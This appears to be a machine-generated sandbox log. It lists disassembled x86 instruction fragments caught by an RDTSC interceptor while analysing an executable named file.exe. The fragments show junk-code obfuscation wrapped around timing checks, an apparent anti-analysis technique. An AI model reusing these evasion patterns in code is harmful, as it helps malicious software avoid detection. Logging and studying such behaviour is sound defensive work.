Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3FF2 second address: 7D3FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3FFB second address: 7D3FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3FFF second address: 7D400A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D400A second address: 7D4010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D443E second address: 7D4453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jng 00007F3BB8CF9526h 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F3BB8CF9506h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D48EA second address: 7D48F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D48F7 second address: 7D48FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D48FF second address: 7D4905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4905 second address: 7D4915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007F3BB8CF9506h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4915 second address: 7D491A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D491A second address: 7D492C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D492C second address: 7D4930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4A85 second address: 7D4A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4C1E second address: 7D4C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4C22 second address: 7D4C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4C28 second address: 7D4C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3BB941C8E5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7AF0 second address: 7D7B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3BB8CF9506h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 and dl, FFFFFFCBh 0x00000013 mov dword ptr [ebp+122D353Eh], edi 0x00000019 popad 0x0000001a push 00000004h 0x0000001c mov edx, esi 0x0000001e call 00007F3BB8CF9509h 0x00000023 push esi 0x00000024 jmp 00007F3BB8CF9517h 0x00000029 pop esi 0x0000002a push eax 0x0000002b pushad 0x0000002c pushad 0x0000002d jg 00007F3BB8CF9506h 0x00000033 jmp 00007F3BB8CF9513h 0x00000038 popad 0x00000039 push edx 0x0000003a jmp 00007F3BB8CF9514h 0x0000003f pop edx 0x00000040 popad 0x00000041 mov eax, dword ptr [esp+04h] 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F3BB8CF9511h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7E60 second address: 7D7EC7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3BB941C8DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F3BB941C8D8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 jns 00007F3BB941C8D9h 0x0000002d mov dx, 3593h 0x00000031 push dword ptr [ebp+122D37C8h] 0x00000037 jmp 00007F3BB941C8E1h 0x0000003c push 64B046A4h 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F3BB941C8DAh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D91F3 second address: 7D920E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007F3BB8CF9515h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB0AF second address: 7DB0B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3BB941C8D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DABF2 second address: 7DABFF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DABFF second address: 7DAC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAC04 second address: 7DAC0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303C2 second address: 4E303D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303D5 second address: 4E3040E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F3BB8CF9513h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3040E second address: 4E30461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3BB941C8E5h 0x00000009 adc ax, 1C86h 0x0000000e jmp 00007F3BB941C8E1h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3BB941C8E9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30461 second address: 4E30465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30465 second address: 4E3046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3046B second address: 4E304DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3BB8CF950Ah 0x00000008 mov eax, 3BAF5F21h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushad 0x00000013 mov si, 7DFFh 0x00000017 jmp 00007F3BB8CF9514h 0x0000001c popad 0x0000001d pushfd 0x0000001e jmp 00007F3BB8CF9512h 0x00000023 xor eax, 39E18F18h 0x00000029 jmp 00007F3BB8CF950Bh 0x0000002e popfd 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F3BB8CF9515h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E304DB second address: 4E304EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E304EB second address: 4E30502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3BB8CF950Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E606C4 second address: 4E606F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 40h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b jmp 00007F3BB941C8E4h 0x00000010 push eax 0x00000011 jmp 00007F3BB941C8DBh 0x00000016 xchg eax, ecx 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E606F4 second address: 4E6075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F3BB8CF9510h 0x00000009 pop eax 0x0000000a popad 0x0000000b mov edx, 03B75BD6h 0x00000010 popad 0x00000011 push esp 0x00000012 pushad 0x00000013 jmp 00007F3BB8CF9518h 0x00000018 pushfd 0x00000019 jmp 00007F3BB8CF9512h 0x0000001e and ecx, 33DB0128h 0x00000024 jmp 00007F3BB8CF950Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov dword ptr [esp], esi 0x0000002e pushad 0x0000002f mov dx, cx 0x00000032 push eax 0x00000033 push edx 0x00000034 mov edx, esi 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60869 second address: 4E60878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60878 second address: 4E6087E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60897 second address: 4E6089D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6089D second address: 4E6090A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a jmp 00007F3BB8CF9519h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F3BB8CF9513h 0x00000019 xor esi, 2179902Eh 0x0000001f jmp 00007F3BB8CF9519h 0x00000024 popfd 0x00000025 call 00007F3BB8CF9510h 0x0000002a pop ecx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600DD second address: 4E600E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600E1 second address: 4E600FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9516h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600FB second address: 4E60134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F3BB941C8DBh 0x00000012 pop esi 0x00000013 jmp 00007F3BB941C8E9h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60134 second address: 4E6015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7862h 0x00000007 call 00007F3BB8CF9513h 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push 1B988212h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6015D second address: 4E6016E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6016E second address: 4E60244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 5AFCA95Eh 0x00000010 pushad 0x00000011 mov esi, 1E00A5B3h 0x00000016 call 00007F3BB8CF9518h 0x0000001b pop eax 0x0000001c popad 0x0000001d mov eax, dword ptr fs:[00000000h] 0x00000023 jmp 00007F3BB8CF950Dh 0x00000028 nop 0x00000029 pushad 0x0000002a push esi 0x0000002b jmp 00007F3BB8CF9513h 0x00000030 pop eax 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F3BB8CF950Bh 0x0000003a xor ah, FFFFFFDEh 0x0000003d jmp 00007F3BB8CF9519h 0x00000042 popfd 0x00000043 pushfd 0x00000044 jmp 00007F3BB8CF9510h 0x00000049 xor eax, 1BF36ED8h 0x0000004f jmp 00007F3BB8CF950Bh 0x00000054 popfd 0x00000055 popad 0x00000056 nop 0x00000057 jmp 00007F3BB8CF9516h 0x0000005c sub esp, 18h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60244 second address: 4E6024A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6024A second address: 4E60250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60250 second address: 4E60254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60254 second address: 4E60299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov dh, cl 0x0000000f mov ebx, 2BE363AEh 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 call 00007F3BB8CF9512h 0x0000001c pushad 0x0000001d popad 0x0000001e pop esi 0x0000001f mov dx, E1A4h 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push ecx 0x00000029 pop edx 0x0000002a mov cx, 9D27h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60299 second address: 4E602CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e mov esi, edx 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 call 00007F3BB941C8E0h 0x00000018 push ecx 0x00000019 pop ebx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d mov cl, dl 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602CB second address: 4E60352 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 24B43885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c push esi 0x0000000d call 00007F3BB8CF950Dh 0x00000012 pop ecx 0x00000013 pop edi 0x00000014 pushfd 0x00000015 jmp 00007F3BB8CF950Eh 0x0000001a and ah, 00000048h 0x0000001d jmp 00007F3BB8CF950Bh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, edi 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F3BB8CF9514h 0x0000002c add ah, FFFFFFA8h 0x0000002f jmp 00007F3BB8CF950Bh 0x00000034 popfd 0x00000035 mov esi, 3BA4919Fh 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007F3BB8CF9515h 0x00000041 xchg eax, edi 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 push edi 0x00000046 pop ecx 0x00000047 movsx edx, si 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60352 second address: 4E603A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3BB941C8E7h 0x00000008 push esi 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [769B4538h] 0x00000012 pushad 0x00000013 mov ebx, esi 0x00000015 movzx eax, dx 0x00000018 popad 0x00000019 xor dword ptr [ebp-08h], eax 0x0000001c jmp 00007F3BB941C8DFh 0x00000021 xor eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3BB941C8E2h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603A5 second address: 4E603AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603AB second address: 4E603BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dx, ED96h 0x00000010 mov dl, 4Dh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603BE second address: 4E603F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e movsx edi, si 0x00000011 pop esi 0x00000012 mov cx, di 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603F1 second address: 4E603F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603F5 second address: 4E603FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603FB second address: 4E6049E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3BB941C8DCh 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr fs:[00000000h], eax 0x00000012 pushad 0x00000013 mov ecx, ebx 0x00000015 pushfd 0x00000016 jmp 00007F3BB941C8E3h 0x0000001b add eax, 774C118Eh 0x00000021 jmp 00007F3BB941C8E9h 0x00000026 popfd 0x00000027 popad 0x00000028 mov dword ptr [ebp-18h], esp 0x0000002b jmp 00007F3BB941C8DEh 0x00000030 mov eax, dword ptr fs:[00000018h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F3BB941C8DDh 0x0000003f adc esi, 032BD476h 0x00000045 jmp 00007F3BB941C8E1h 0x0000004a popfd 0x0000004b call 00007F3BB941C8E0h 0x00000050 pop eax 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6049E second address: 4E604A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604A4 second address: 4E604CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [eax+00000FDCh] 0x0000000e pushad 0x0000000f jmp 00007F3BB941C8E4h 0x00000014 push eax 0x00000015 push edx 0x00000016 mov bh, ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604CB second address: 4E60510 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3BB8CF950Dh 0x00000008 or cl, FFFFFFE6h 0x0000000b jmp 00007F3BB8CF9511h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 test ecx, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F3BB8CF9513h 0x0000001e mov cx, 21FFh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60510 second address: 4E6056C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F3BB941C947h 0x0000000f pushad 0x00000010 mov al, CAh 0x00000012 pushfd 0x00000013 jmp 00007F3BB941C8E9h 0x00000018 sbb esi, 607C5606h 0x0000001e jmp 00007F3BB941C8E1h 0x00000023 popfd 0x00000024 popad 0x00000025 add eax, ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6056C second address: 4E6058A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF9519h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6058A second address: 4E60590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60590 second address: 4E60594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60594 second address: 4E60598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60598 second address: 4E605AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, F087h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50099 second address: 4E5009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5009F second address: 4E500F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007F3BB8CF9514h 0x00000012 pushfd 0x00000013 jmp 00007F3BB8CF9512h 0x00000018 add si, F7D8h 0x0000001d jmp 00007F3BB8CF950Bh 0x00000022 popfd 0x00000023 pop ecx 0x00000024 mov esi, edx 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500F6 second address: 4E500FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500FA second address: 4E50100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50100 second address: 4E50106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50106 second address: 4E5010A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5010A second address: 4E5012F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3BB941C8E8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50223 second address: 4E50265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 sub ebx, ebx 0x00000008 pushad 0x00000009 jmp 00007F3BB8CF9517h 0x0000000e movzx ecx, bx 0x00000011 popad 0x00000012 mov edi, 00000000h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3BB8CF9517h 0x0000001e rdtsc
